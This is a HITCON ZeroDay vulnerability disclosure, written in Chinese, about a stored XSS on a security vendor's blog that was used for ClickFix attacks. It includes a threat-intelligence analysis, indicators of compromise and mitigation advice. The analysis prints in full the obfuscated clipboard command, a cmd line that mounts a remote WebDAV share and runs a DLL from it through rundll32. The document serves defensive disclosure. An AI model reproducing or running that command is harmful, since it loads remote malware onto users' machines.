元盾資安官方部落格遭植入 ClickFix 惡意腳本與無檔案掛馬攻擊 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00759
  •  發信 Vendor: 元盾資安股份有限公司
  • Title: 元盾資安官方部落格遭植入 ClickFix 惡意腳本與無檔案掛馬攻擊
  • Introduction: *官方部落格遭植入Stored XSS惡意腳本，無差別對使用者發起ClickFix社交工程掛馬與無檔案惡意指令載入攻擊。

處理狀態

目前狀態

公開
Last Update : 2026/06/29
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/28 14:51:47 : 新提交 (由 Hippi7788 更新此狀態)
  • 2026/05/28 15:46:39 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/28 18:28:03 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/28 18:28:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/28 18:28:04 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/04 15:08:53 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/06/05 15:41:14 : 未修補完成 (由 Hippi7788 更新此狀態)
  • 2026/06/22 10:04:52 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/06/26 02:12:41 : 確認已修補 (由 Hippi7788 更新此狀態)
  • 2026/06/29 03:00:20 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID：ZD-2026-00759
  • 通報者：Hippi7788 (Hippi7788)
  • 風險：高
  • 類型：預存式跨站腳本攻擊 (Stored Cross-Site Scripting)

參考資料

攻擊者可經由該漏洞竊取使用者身份，或進行掛碼、轉址等攻擊行為。

漏洞說明： OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

防護原則：
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

XSS 防禦繞過方式：
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

相關網址

blog.mss.com.tw

敘述

【威脅情資分析】2026年5月最新ClickFix變種掛馬攻擊事件分析報告

1. 執行摘要 (Executive Summary)

  • 事件概述：2026年5月，於瀏覽台灣某本土資安服務商之官方部落格時，偵測到網頁前端遭受入侵，駭客利用近期猖獗的ClickFix社交工程手法進行惡意掛馬。
  • 核心危害：此為2026年第一季最新演進之ClickFix，全面拋棄傳統易被偵測的PowerShell與mshta引擎，改採Windows原生組件Rundll32與WebDAV協定進行無檔案惡意DLL載入，用以規避EDR與傳統安全監控。
  • 受影響對象：存取該受駭網站且缺乏資安意識之不特定Windows使用者。

2. 攻擊情境與社交工程鏈 (Attack Vector & Social Engineering)

  1. 初始存取：使用者造訪已被植入惡意JavaScript的合法網站。
  2. 誘騙阻斷：網頁前端跳出偽裝之Cloudflare或reCAPTCHA人機驗證視窗，背景腳本同步將惡意指令寫入使用者系統剪貼簿。
  3. 社交工程執行：引導使用者按下 Win + R（開啟執行視窗)並按下 Ctrl + V 與 Enter，誘騙使用者自主執行惡意程式。

3. 惡意指令深度技術分析 (Technical Analysis)

擷取之剪貼簿惡意原始指令如下：

cmd /c start /MIN cmd /c "set x=pushd&set y=popd& call %x% \\cwjay.vikstore.hu@SSL\403fb4e0-dc51-4235-baed-cda7a13aaa11 & rundll32 goog.ct,#1 & call %y%"

【指令細部解構與防禦對抗機制】

  • cmd /c start /MIN：意圖以最小化視窗靜默執行，隱藏駭客行為。
  • set x=pushd&set y=popd：環境變數混淆手法。將pushd與popd包裝成變數，藉此繞過資安設備對標準命令字串的特徵偵測。
  • call %x% \\cwjay.vikstore.hu@SSL\...：此變種最致命的防禦規避手法。
    駭客利用Windows內建的WebDAV重新導向器機制（透過 @SSL 走 HTTPS 443 埠），強迫Windows發起合法的加密網路連線，直接掛載遠端中繼站 cwjay.vikstore.hu 的網路共用資料夾。
  • rundll32 goog.ct,#1：無檔案載入執行。
    不透過磁碟下載，直接呼叫內建合法組件 rundll32.exe 載入記憶體中的遠端惡意DLL（檔案名 goog.ct），並呼叫序號為 1 的導出函數。推測後續行為會釋放Infostealer或遠端控制木馬。

4. 入侵指標 (Indicators of Compromise, IoC)

防禦團隊可利用以下情資於防火牆、Web Gateway或網域控制器進行阻斷與盤查：

  • 惡意網域 (C2 Domain)：cwjay[.]vikstore[.]hu (WebDAV Server)
  • 涉及合法檔案 (LoLBins)：C:\Windows\System32\rundll32.exe, cmd.exe
  • 異常網路行為：rundll32.exe 發起對外之WebDAV (443 port) 連線
  • 惡意DLL特徵：goog.ct

修補建議

## 緩解與防禦建議 (Mitigation & Recommendations)
### 【針對企業網站管理員（網站防禦）】
* 清查網站CMS系統（如 WordPress）之漏洞，移除網頁前端異常插入之JavaScript。
* 實施網頁網域完整性監控。

### 【針對企業內網藍隊（端點防禦）】
* **EDR/SIEM 偵測規則建立**：監控並封鎖 `cmd.exe` 或 `svchost.exe` 衍生出帶有WebDAV參數（如 `davclnt.dll` 或 `\\*@SSL`）之 `rundll32.exe` 子程序。
* **社交工程演練**：加強員工教育訓練，提升對「引導使用 Win+R 執行剪貼簿指令」之ClickFix社交工程警覺心。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
;